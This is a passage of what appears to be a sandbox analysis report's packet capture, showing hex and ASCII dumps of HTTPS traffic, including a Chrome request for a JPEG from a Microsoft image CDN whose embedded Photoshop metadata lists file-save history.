b1 58 94 5a bc a1 d1 03 b2 df e6 7f 3f 55 9a f3 7a 93 a7 6c 57 8c 2f d2 c6 8b bf ba c7 3c 92 c9 1d c1 92 2a c7 12 95 02 df 
9f 3f 39 b0 fa 62 b9 ff 00 8d 6c dd 30 da e0 ec 09 93 b6 c4 9b 3e 43 65 8a 21 32 4f 2b 32 23 bf e2 8e da 32 c5 10 81 7e 
dc 97 7a b5 3d 5b 4c 61 93 de 3d f9 9d 8d 94 
Data Ascii: B;H"VMs]rg^b9%+J+{cn]ix3i`aMxzp)r3aA"[]oM"`BjR7wW[r}r9?%YXZ?UzlW/<*?9bl0>Ce!2O+2#2~z=[La=

2022-06-08 07:56:17 UTC 7426 IN Data Raw: 06 77 e7 57 21 9e 3c c4 2e 4f 4b b0 27 87 7c 0e 5e 2e bf b9 6f d9 d7 59 66 13 1c b3 ec 7b 2a 42 06 a3 02 41 
fa e9 e1 fb 35 66 69 d3 ca 63 4f 0e 39 5f 17 6f 0a f1 04 53 eb d4 b7 34 93 84 44 81 f2 a2 56 70 54 9f 1a f1 24 f9 6e fb 3a 
e9 eb 0c 63 29 9b 76 3e 06 54 82 2c ab b1 55 45 0c 80 19 38 d2 95 74 aa f0 bb d1 ad e7 e9 cf 0d df b5 76 fc 1d 8f 26 35 
9f 23 1f 26 29 95 bb 65 6a 1c db c1 84 a0 1e da ab d7 f9 9a e1 bd f4 e9 ac c3 43 ee a8 e3 62 d1 45 02 46 a1 c3 bc a5 48 
12 02 b5 e3 25 dc 96 b7 2f 27 a7 9b 97 5c f5 b8 6e c2 6d 59 f8 c3 b5 8f 06 3c 96 5a a8 d2 2c 65 12 40 ec 1b e5 d9 c5 2e 
6b 7a 2d ee 59 a5 e4 8b ad cf 64 c5 c8 c7 69 66 88 f7 a5 a5 2c 41 1d e5 29 f2 64 95 55 e4 1d 5c fd b6 f8 b5 9d 6e 16 8c 
bc 8c a4 c7 19 12 23 30 55 02 ca 56 bf 17 74 d1 ad b7 
Data Ascii: wW!<.OK'|^.oYf{*BA5ficO9_oS4DVpT$n:c)v>T,UE8tv&5#&)ejCbEFH%/'\nmY<Z,e@.kz-Ydif,A)dU\n#0UVt

2022-06-08 07:56:17 UTC 7429 IN Data Raw: b5 dd c3 19 7f ff d6 85 8d bf e3 52 3e d8 94 c7 0a 8a 2b 46 e5 79 78 2d 23 7b 63 1f 0d e9 27 f9 8c ba f9 56 57 
d9 98 43 6f 76 65 63 77 e3 55 68 f1 1c a9 92 79 6a 28 4d dc dd bb 57 ba 9c c9 6f ef f6 db 5d 35 c3 1b 4e 72 83 99 fa a5 
89 06 02 e0 1e e6 54 cc 48 92 56 e5 00 78 21 51 cd 7b 7c 6f d1 e9 d5 bf 9d 4f 72 29 f6 9f d5 7c ac 31 0e 13 c4 82 08 49 
36 c4 0a 16 04 5a c1 ed 3c f7 7c 5a dd fc d8 f4 df 6f 1b b6 06 ff 00 b6 26 e6 d9 0d 8b 8c 58 27 e4 d6 45 48 d2 da 73 cf cb 
71 6f 32 c7 1f 57 ef 6b 9d 97 5b 86 a6 2a 1e 26 ea f3 e6 63 5f 8e d9 13 84 54 8a 35 90 24 7c e7 83 ad 01 93 9d 6d 77 69 
3a 79 d9 ac d1 53 7d fb 06 73 64 44 b8 4f 1e 0a ca 1e 8c a0 00 54 d1 08 e5 e7 7e 60 59 5d bc ad ea d6 35 fe 5b bf c3 8f 
6e 91 43 0d d8 ea 88 c2 36 2b dc 40 41 6f db 46 27 
Data Ascii: R>+Fyx-#{c'VWCovecwUhyj(MWo]5NrTHVx!Q{|oOr)|1I6Z<|Zo&X'EHsqo2Wk[*&c_T5$|mwi:yS}sdDOT~`Y]
5[nC6+@AoF'

2022-06-08 07:56:17 UTC 7445 IN Data Raw: cb da 26 e6 a8 1d 3c dd bb 6d 46 5b 99 ad ed b6 ba cf d3 0c 5d 16 9b e6 26 f9 97 05 32 e3 49 31 31 51 55 15 
54 01 19 45 21 dd 63 60 bc f2 44 97 3d be 6e 6e ad 49 b4 f8 31 86 52 0d 8b 77 dc 11 24 c4 c5 97 b6 e0 db 25 28 a6 9c 79 
5c f2 8b 7c fe 9d 6b 32 1c de 8f 61 fb 73 70 c3 c2 1b 84 ac 86 28 5e d4 55 6e ed c5 bc a1 21 bb f8 b5 3d cc e1 66 b7 0d 
66 d5 fa 6f bc 65 e2 7e 66 59 92 14 90 8a 22 ab 34 8c ce 79 19 a2 e4 ed c5 fd ad cb ac df da 7c 2c d2 ac 24 fd 24 6c 88 
93 1b 23 35 66 cb 67 2d 6c 3c 53 b6 bc 19 23 6e 61 dd bb ad dd 95 13 a3 4f ef 3f ad 77 ec 3c 3f 6c fb 47 38 c7 9a 50 67 
31 ba d9 4a c8 23 45 0d f2 e3 9a d4 5e f3 b5 97 5c 8b e8 8b 59 bb dd cf 1e 7a 6b c6 3e 3e f3 92 fb a6 2b bf 62 37 42 84 
37 6d 41 2a 2a 3b 8a 79 91 79 af 44 f5 79 ee d6 36 fe 1a 
Data Ascii: &<mF[]&2I11QUTE!c`D=nnI1Rw$%(y\|k2asp(^Un!=ffoe~fY"4y|,$$l#5fg-l<S#naO?w<?lG8Pg1J#E^\Yzk
>>+b7B7mA**;yyDy6

2022-06-08 07:56:17 UTC 7461 IN Data Raw: ac a2 44 55 56 6e 51 25 ad f3 b8 f5 75 7a 39 52 dd 71 cf 2f 47 c2 06 f3 ec e8 f7 6c f4 dc 73 32 23 7b 5d 8c 48 
bc 08 58 ee b6 ae 1b a1 ad f2 eb 7d 47 3c a9 bf aa ef 38 fb 97 e5 06 3a cb 1c 80 4d 7e 43 01 db 34 25 96 eb af 94 bd bc 
97 5b fb 9a 97 18 cd 6a 67 a8 b4 cc f7 5e 1e 0a 2c 5b 8c c4 47 28 50 96 03 63 57 a9 ef fc 4b 59 fa 59 f5 89 ab 59 6a 63 
83 2e 55 a2 72 89 98 8e 4e 21 96 aa f6 87 e5 fe f7 da d2 4f a4 b8 42 87 1a 6c 28 5b f2 d0 55 2f a2 4a 45 15 ab e1 61 a3 
06 bb ad fe cd be 6d 5c 53 31 28 e2 cb 8d 1d ae e2 39 5a 84 b1 1c 1b 8f 39 2a ac ab cc 9d 5e 7f 36 b3 56 18 db a6 cd 48 
19 8f 6e 5a 38 b7 b6 bc 59 41 22 ee b6 57 5a 7d 9d 3a 5e dd 17 1b 3a 1c 2c 68 63 63 5e da af 2f 85 49 a7 3f dd e6 d7 af 
5d a6 b2 3c 57 5b b5 a3 3d b1 f2 31 92 59 d5 59 d4 92 
Data Ascii: DUVnQ%uz9Rq/Gls2#{]HX}G<8:M~C4%[jg^,[G(PcWKYYYjc.UrN!OBl([U/JEam\S1(9Z9*^6VHnZ8YA"WZ}:^:
,hcc^/I?]<W[=1YY

2022-06-08 07:56:17 UTC 7466 IN Data Raw: d5 40 79 ae 3c c3 9e df f0 6b be bf ed cb 8e d3 07 22 68 24 15 dc 63 8d 1e 29 0a 3d a6 b4 61 c2 eb fa fd 3a e7 
bc 6f 55 30 dc 1e 38 e7 9e 16 90 42 f2 12 50 8a 95 53 f0 9e 55 b4 0b 97 ed eb 8f f0 ed fc b3 b3 66 ae 44 f1 e4 0c 76 92 
26 a8 ef b8 16 3a 01 7b 8e 5b 98 db d2 ba ed e7 87 3c 98 c1 ce dd b3 23 7c 5d ae 08 e5 ed 31 ee 89 4f 6e a8 7e 6c 69 
61 e6 b2 df 3b 36 ae 24 4c ba 26 dd ee c9 bf 29 2c f9 91 45 8d 91 90 9d b1 18 37 c6 ae a3 a9 15 3c ad d3 f0 eb 5f d9 f4 
e7 fd 6b 8f 69 e6 e6 c2 c8 fb 8c ab 23 b2 11 48 c0 36 a1 e3 cd 2f d3 cd f7 b5 75 dd 9d b5 54 fe a2 7b cd e4 cf 87 62 c4 73 
0f 74 19 03 28 e2 d6 86 65 8e ef 89 93 cb e9 b7 57 6e 4d 26 1c 6a 0d f6 6d ab dc 92 e5 ee 8e df 2d 18 47 77 30 33 30 e4 
ad a7 97 c7 53 8f 3c 3a 67 97 7a da 77 b8 bd cf b5 c3 
Data Ascii: @y<k"h$c)=a:oU08BPSUfDv&:{[<#|]1On~lia;6$L&),E7<_ki#H6/uT{bst(eWnM&jm-Gw030S<:gzw

2022-06-08 07:56:17 UTC 7482 IN Data Raw: 58 47 cd 8a 49 b0 ec dc 15 63 ce 94 47 14 11 c6 c5 96 05 21 7b ac 14 5b f3 7b 7c dd d9 19 bc ba b2 e1 31 94 
d8 bd b3 81 88 98 ff 00 9a 9d e4 38 80 39 49 5a aa e7 a9 a6 6f 5a 0e 3a 9e e9 e5 9c f7 be fa 98 2e b8 58 78 e1 f2 25 54 
99 69 1a 8a 55 8b f4 85 f2 da ab f0 f3 79 b5 d3 49 9e 52 f0 f7 ff 00 ed 09 a3 8e 38 a4 ee e3 ee 8e c4 09 54 8e 07 a5 50 a2 
f8 f0 5b 79 ae d6 f5 fc be 98 bb 7d ac 7d b5 bc 36 7c 32 0c 6c 53 26 e8 9f 31 e7 27 80 a1 67 56 2c 6d 8a 25 f2 ab 79 bd 
1a 6d f9 dc 9e e2 cb 6f de ce db 9e cd 99 95 03 c3 14 6b 24 98 eb 40 ae f6 73 28 91 f9 e5 e7 b2 d5 e9 66 ea d6 3c e1 6d 
ca fb da bf a8 3b 46 e5 ee 39 bb 6a d0 b7 e5 8b 83 3b 51 af af 15 85 59 ac f9 89 e8 fe ee bb 78 f9 71 b7 e0 9e f3 c8 07 1e 
4c 8f 71 3d 98 e1 84 9d 88 bc a0 8a 23 3c a3 8c ae 
Data Ascii: XGIcG!{[{|189IZoZ:.Xx%TiUyIR8TP[y}}6|2lS&1'gV,m%ymok$@s(f<m;F9j;QYxqLq=#<

2022-06-08 07:56:17 UTC 7498 IN Data Raw: 5c ca de 49 3a be f2 e9 e3 cf 26 73 70 ba 91 4e 4e ce 25 c8 85 55 9c c8 d2 45 70 3c 08 36 f4 f9 a9 6f 0d 31 98 
92 e3 66 27 db df a5 29 16 43 6f 99 92 ca 97 95 95 31 93 81 34 17 aa cd f5 b5 dc dd bf b9 ab 2d c6 0b df 03 dc de d4 8b 
76 89 f7 4c 8a e1 e4 49 d2 cc dc 6a 78 22 db cd d4 d6 f2 f2 eb 13 6c 37 8c f0 7d 72 31 c4 71 ed d9 4c 99 19 1c 15 8d b4 
59 17 8b 3b 73 7d 96 76 e6 bb 58 f5 f2 d7 95 84 69 91 2e 54 32 44 a4 6d e8 42 97 72 68 c2 9f 2c 76 c0 fa 3a 55 dd b9 75 
65 4b 16 7b a6 24 7b a6 57 e5 12 13 13 b1 22 fb 88 5e 23 8d 14 6b 57 9e 98 9c 4e 55 be e6 c5 d9 f0 f8 4f 30 47 00 92 60 
4a b8 0b ce f4 91 03 76 dd ad fb 4d a7 95 94 e6 d3 85 9b b8 2a 64 e2 43 1f e4 65 15 49 67 27 bc dc 38 33 45 6f 2b 37 95 
9d ba 74 f2 5d 92 72 70 64 c4 96 19 70 a0 57 cc 0d f3 
Data Ascii: \I:&spNN%UEp<6o1f')Co14-vLIjx"l7}r1qLY;s}vXi.T2DmBrh,v:UueK{${W"^#kWNUO0G`JvM*dCeIg'83Eo
+7t]rpdpW

2022-06-08 07:56:17 UTC 7505 IN Data Raw: 9c 76 e8 1c 93 4e 5e eb af 55 5b a1 f5 d2 31 62 cb 66 3b 67 bc b2 72 65 c6 b9 f1 d0 e3 a7 30 e6 5a 87 56 58 
ad fc 38 ff 00 c5 cd a9 b5 f2 49 96 f3 2b 69 8e 5c 58 e0 c2 2d 62 13 19 2a 78 d8 05 8d 57 7f 4f 55 da e7 75 5d 76 c3 36 f8 
d0 e1 ce bb 2e 1c 2c 71 21 8d 94 b1 1c 38 83 72 f2 f5 cb c7 99 b5 8d b8 75 d7 93 3e de f6 a4 db 6e 6b 64 46 c2 24 78 c2 
c6 b2 35 f4 50 39 96 cf b3 fc 5a 4b 69 70 9b bd ef 58 b1 e0 8c a9 cd b0 bb 2a ab c6 39 98 83 5f 94 ba d3 38 c2 b5 f7 5c 
a8 9e 7c 29 1d 59 e8 a6 12 4d 5d d1 b9 9f ff 00 b7 fc 3a 9d ae 1a 6f 6d e7 c7 21 38 93 b5 a6 5b 4a 31 ff 00 bb 4d 2f c3 3b 
cf 94 ef 72 61 e6 c5 0f 6f 09 c4 53 57 8b 9e 22 95 fa bc 38 eb 7b 4b ab 1a 59 b3 3b 3f b9 f3 61 39 7b 68 c6 34 b6 b1 cf 19 
fc 50 0f 4d ad e7 e6 fe 1d 74 bb c9 38 ff 00 d2 
Data Ascii: vN^U[1bf;gre0ZVX8I+i\X-b*xWOUu]v6.,q!8ru>nkdF$x5P9ZKipX*9_8\|)YM]:om!8[J1M/;raoSW"8{KY;?
a9{h4PMt8

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 7521 IN Data Raw: ba 6b b5 2e b3 e1 2b 17 f5 56 6c 1c 71 b7 40 ad 6c 2f 4c 66 6a 06 55 ff 00 98 10 51 a4 ad 8d fc 3a cd 99 5d 78 
66 e4 f7 a6 e7 94 08 9f 2a 42 a2 ae 55 98 95 04 9a 96 b3 c3 ab cb ab fc 18 50 ee 9b cc 59 84 b4 71 d6 59 24 b9 b8 50 70 
3e 5f aa ba e9 35 ae 77 68 84 13 27 32 e4 b0 cb 24 ad 51 1a fd 24 f0 03 5a f3 23 3e b2 db 7b 53 f4 4f 71 de 62 ef 65 8f c8 
c3 1b 01 73 82 59 cf 99 63 8f c4 da ba 9b 7e 93 5e 89 a5 ab 4d d7 db bb 1e 13 3e 36 cf b7 4f 29 12 08 52 49 1a b7 9b 03 
3d aa 3f 98 a5 5f 5c bd ed f6 e9 e6 39 b6 76 cc bd d2 62 e4 5a 91 43 5e 1f b3 5e ad 76 70 db 55 e7 b3 fd c9 b8 fb 72 6b 
71 a5 26 27 60 59 58 5c b5 5e 9e 56 f8 b5 6e 93 6e c9 b5 8b 9f 72 60 64 6e 26 6d d8 a9 53 33 5d e0 6b 53 e5 52 da e5 
35 c7 0e 99 ca 84 6c fb ae 36 1b 24 37 f6 24 37 3d 28 
Data Ascii: k.+Vlq@l/LfjUQ:]xf*BUPYqY$Pp>_5wh'2$Q$Z#>{SOqbesYc~^M>6O)RI=?_\9vbZC^^vpUrkq&'̀ YX\^Vnnr`
dn&mS3]kSR5l6$7$7=(

2022-06-08 07:56:17 UTC 7537 IN Data Raw: a5 88 e4 06 3f 5f ed ae b9 58 eb 2b ff d4 e3 d3 61 9c 8f c5 ad 38 b3 7f f8 f5 e5 e9 f4 71 94 3c b8 6c c8 4b 4f 02 
00 b4 f5 71 d5 9c 97 b4 9c ac a3 25 04 bc 02 71 af d6 75 89 ae 3a 6a d5 8e 34 88 d1 d1 48 62 a3 81 ff 00 e3 a5 d4 95 57 
b8 90 8c 19 48 62 47 1a 7e df 13 a6 b1 29 d9 f2 3b d4 8e 22 49 60 2b 5d 74 9a a5 d8 fe 66 39 91 79 08 2c 05 a4 0f 0a ea 
cd 59 b5 07 15 52 09 0f 77 a0 0f ed d6 b1 94 79 9b 03 e6 97 0f 45 3e 1f d9 ab 86 4f ed ae cc ed 14 6b ca 45 b7 1f 29 fa f5 
ac 21 60 8e 37 96 53 99 21 66 34 11 85 14 ad 35 64 10 b3 f2 03 48 89 0a 94 11 02 38 1f db ac e1 51 5f 3b 22 62 ca 18 d8 
7c 47 fd ff 00 d9 ad 61 8c ae f6 28 b1 5d 54 cf 2a c2 d2 5c b5 90 54 05 a1 ba 4f af 97 ca aa bc da 5b 8e 96 3a 97 e9 8f e9 
be 1e 5e 41 c5 97 21 a4 89 11 25 e9 a2 30 73 
Data Ascii: ?_X+a8q<lKOq%qu:j4HbWHbG~);"I`+]tf9y,YRwyE>OkE)!`7S!f45dH8Q_;"b|Ga(]T*\TO[:^A!%0s

2022-06-08 07:56:17 UTC 7545 IN Data Raw: d3 6e b9 d0 e1 41 c1 e6 60 80 9f 0a 93 4a eb 17 7c 72 dc d7 3c 3e 8c f6 7f b0 bf a0 60 9c 4c 36 51 9b 52 24 
97 8f 12 47 82 eb e7 ef fa dd ab d5 ae 93 55 de 7b e4 ed f8 71 2e 03 46 72 63 56 08 cc 6d b9 f8 07 20 1f 56 b9 36 c0 ed 
7b be f3 b7 ce d3 6e 5f 2f f3 8c b1 c7 21 70 59 41 2c cd 24 60 9b 4d 7a 2e d7 4b 27 c2 4a b4 f6 76 d1 8b b7 e2 cf 9f b9 cb 
34 8f 3b b0 96 32 2a e5 89 b9 6d 61 cf d2 ab a9 b6 d9 49 30 48 12 59 52 9b a4 69 08 7c 8f 90 b3 1a 05 55 14 56 b7 cd 2b 
dd cd 6e b1 67 d3 72 b6 1b 36 cf 1e c9 86 53 18 a1 dc 79 55 00 02 8c a1 87 3a c7 f0 df ae 9f 0e 59 e7 f8 44 c3 c8 ce da 
e9 9d 95 90 b3 c3 0c 92 21 25 40 2e e7 97 b3 18 5f 32 dd 6d de 84 bb 57 ae 4e f8 78 f7 16 56 3e dd 9b 8b 06 eb 21 8f f3 
0c 92 23 03 40 64 ad b6 fa 6d 81 7a 17 e2 d3 16 99 8c 
Data Ascii: nA`J|r<>`L6QR$GU{q.FrcVm V6{n_/!pYA,$`Mz.K'Jv4;2*maI0HYRi|UV+ngr6SyU:YD!%@._2mWNxV>!#@dmz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

59 192.168.2.3 49785 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:16 UTC 1092 OUT GET /cms/api/am/imageFileData/RE4XQVW?ver=0e49 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-06-08 07:56:16 UTC 1125 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4XQVW?ver=0e49
Last-Modified: Fri, 03 Jun 2022 19:10:22 GMT
X-Source-Length: 1480207
X-Datacenter: northeu
X-ActivityId: a9ff2003-fb7a-4e57-8f96-eb2a92a0e7ab
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1480207
Cache-Control: public, max-age=429403
Expires: Mon, 13 Jun 2022 07:12:59 GMT
Date: Wed, 08 Jun 2022 07:56:16 GMT
Connection: close

2022-06-08 07:56:16 UTC 1126 IN Data Raw: ff d8 ff e1 0a 0e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 33 3a 30 33 20 31 31 3a 33 37 3a 35 35 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 23.2 (Windows)2022:03:03 11:37:558"

2022-06-08 07:56:16 UTC 1194 IN Data Raw: 33 35 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 
70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 
78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 33 33 39 34 43 35 35 30 30 39 45 37 30 46 34 34 45 35 46 43 30 42 41 34 45 
38 33 36 46 41 36 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 36 2d 32 37 54 31 36 3a 34 32 3a 
32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 
Data Ascii: 35:08-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover
\_Lockscreen_1080x1920_Portrait3394C55009E70F44E5FC0BA4E836FA6B.psb saved&#xA;2016-06-27T16:42:27-07
:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_10
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2022-06-08 07:56:16 UTC 1210 IN Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 
6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 
73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 
42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 
38 2d 30 35 54 31 37 3a 34 36 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42
61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 
Data Ascii: rs\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080
x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;2016-08-05T17:46:21-07:00&#x9;File C:\U
sers\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Ba

2022-06-08 07:56:16 UTC 1262 IN Data Raw: 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 
70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 
63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 6
3 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 
Data Ascii: 5-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_Footbridge
LeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg saved&#xA;2016-08-10T14:01:01-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops

2022-06-08 07:56:16 UTC 1376 IN Data Raw: 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 36 2d 30 39 2d 32 38 54 31 33 3a 32 36 3a 33 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 
72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 
30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 5
3 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6
a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 
Data Ascii: _1080x1920_Portrait.psd saved&#xA;2016-09-28T13:26:38-07:00&#x9;File Lockscreen_1080x1920_Portrait
.psd opened&#xA;2016-09-28T13:31:43-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15
_Pro4_Tablet_05_Gradient_1080x1920.jpg saved&#xA;2016-09-

2022-06-08 07:56:16 UTC 1392 IN Data Raw: 31 37 3a 32 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 43 48 4f 53 45 
4e 5c 4e 65 77 20 66 6f 6c 64 65 72 5c 4d 49 54 5f 4e 46 4c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 35 35 38 31 
34 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 32 
32 3a 32 30 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 43 48 4f 53 45 4e 5c 
4e 65 77 20 66 6f 6c 64 65 72 5c 4d 49 54 5f 4e 46 4c 5f 47 65 74 
Data Ascii: 17:20-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NFL\CHOSEN\New folder\
MIT_NFL_GettyImages-519558145_1080x1920.jpg saved&#xA;2016-11-10T22:20:53-08:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\MomentsInTime\NFL\CHOSEN\New folder\MIT_NFL_Get

2022-06-08 07:56:16 UTC 1455 IN Data Raw: 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 
69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 
79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 
66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 
66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 
Data Ascii: ers\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-660562
255_1080x1920.jpg saved&#xA;2016-11-23T15:39:14-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Ba
tch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImag

2022-06-08 07:56:16 UTC 1519 IN Data Raw: 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 
